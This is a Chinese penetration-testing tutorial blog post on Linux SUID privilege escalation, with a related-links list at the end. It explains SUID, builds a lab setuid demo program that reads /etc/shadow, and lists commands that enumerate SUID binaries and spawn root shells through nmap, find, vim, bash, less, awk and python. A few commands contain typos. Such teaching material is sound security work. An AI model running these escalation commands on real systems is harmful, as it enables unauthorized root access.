104.网络安全渗透测试—[权限提升篇2]—[Linux之SUID提权]
我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!
文章目录
一、LINUX SUID提权
1、SUID简介
SUID
是一种特殊的文件属性
,它允许其他用户在执行文件的时候,以该文件的拥有者的身份运行。
SUID
是一种对二进制程序进行设置的特殊权限,可以让
二进制程序的执行者临时拥有属主的权限
(仅对拥有执行权限的二进制程序有效)。
例如,所有用户都可以执行passwd命令来修改自己的用户密码,而用户密码保存在/etc/shadow文件中。仔细查看这个文件就会发现它的默认权限是000,也就是说除了root管理员以外,所有用户都没有查看或编辑该文件的权限。但是,在使用passwd命令时如果加上SUID特殊权限位,就可让普通用户临时获得程序所有者的身份,把变更的密码信息写入到shadow文件中。这很像我们在古装剧中见到的手持尚方宝剑的钦差大臣,他手持的尚方宝剑代表的是皇上的权威,因此可以惩戒贪官,但这并不意味着他永久成为了皇上。因此这只是一种有条件的、临时的特殊权限授权方法。
2、SUID测试
(1)实验环境
靶机环境:虚拟机Ubuntu-15.5.04-3.19.0-15-generic
(2)靶机suid提权环境测试
【以 root进行编译和权限设置】
第一步: 编辑suid-demo.c源代码
#include <stdlib.h>
#include <unistd.h>
int main()
{
setuid(0); //设置suid为0,也就是run as root
system("id");
system("cat /etc/shadow");
}
第二步: 编译gcc suid-demo.c -o suid-demo
第三步: 设置suid位chmod 4775 suid-exp
第四步: ls 查询文件,注意s属性标识这个程序有suid的属性
第五步: 使用find / -perm -u=s -type f 2>/dev/null
命令来查询根本目录下所有带用suid属性的文件
【普通用户执行】
第六步: 切换到普通用户moonteam,再去执行suid-demo,发现此时是以root的权限执行的该二进制文件
(3)总结
若靶机上的某个二进制命令文件,没有在root下设置suid临时权限,我们可以su root切换到root用户,然后输入chmod 4775 某命令文件,即可设置suid提权的环境!!!
3、SUID提权
(1)提权原理
简单理解为,一个文件有s标志(权限中包含s),并且对应的是root权限,那么当运行这个程序时就有root权限,且这个程序还能执行命令。此时就能从普通用户提升到root权限了!!!
(2)可用于suid提权的命令
Nmap
Vim
find
Bash
More
Less
cp
Nano
Man
Awk
Perl
Python
Tcmdump
(3)查找具有root权限的SUID的二进制可执行命令文件
姿势1:find / -user root -perm -4000 -print 2>/dev/null
姿势2:find / -perm -u=s -type f 2>/dev/null
姿势3:find / -user root -perm -4000 -exec ls -ldb {} \;
(4)nmap命令提权姿势
旧版本的Nmap(2.02至5.21)具有交互模式,允许用户执行shell命令。若Nmap在使用root权限执行的二进制文件列表中,也就是在root权限下设置了SUID临时权限,则可以使用交互式控制台来运行具有相同权限的shell。
第一步:nmap -v
第二步:nmap --interactive
第三步:nmap>!sh
(5)find命令提权姿势
若find在使用root权限执行的二进制文件列表中,也就是在root权限下设置了SUID临时权限,则可以使用-exec参数以root权限执行命令甚至可以开启一个root权限的shell。
第一步:touch demo.txt
第二步:find demo.txt -exec whoami \;
第三步:find demo-exec /bin/bash -p \;
(6)vim命令提权姿势
Vim是Linux环境下的一款文件编辑器。若vim在root权限下设置了SUID临时权限,则可以在编辑状态下以root权限开启一个shell。
第一步:vim
图略
第二步::shell
图略
(7)bash命令提权姿势
第一步:bash -p
(8)less/more命令提权姿势
第一步:less或more /etc/passwd
图略
第二步:!/bin/bash或!/bin/sh
图略
(9)cp命令提权姿势
略
(10)nano命令提权姿势
略
(11)man命令提权姿势
第一步:man cat
图略
第二步:!/bin/bash或/bin/sh
图略
(12)awk命令提权姿势
第一步:awk 'BEGIN {system("/bin/bash")}'
图略
(13)python命令提权姿势
第一步:python -c 'import os;os.system("/bin/bash")'
图略
相关文章
- 在 Kali Linux 下实战 Nmap(网络安全扫描器)
- Linux 中 df 命令的11个例子
- linux内核中的cfq输入输出调度算法
- Linux操作系统,用户和组管理概括与常用命令
- 查看 Linux 内核以及系统版本的几种方法
- linux系统下查看图片尺寸的命令
- 《嵌入式 Linux C 语言应用程序设计(修订版)》一本章小结
- Linux perf 命令的使用(一)
- 安装LINUX X86-64的10201出现链接ins_ctx.mk错误
- linux rename 和?????
- 网络安全 | Linux ELF病毒实例
- Linux查看mysql 安装路径和运行路径
- 每天一个linux命令(21):tar命令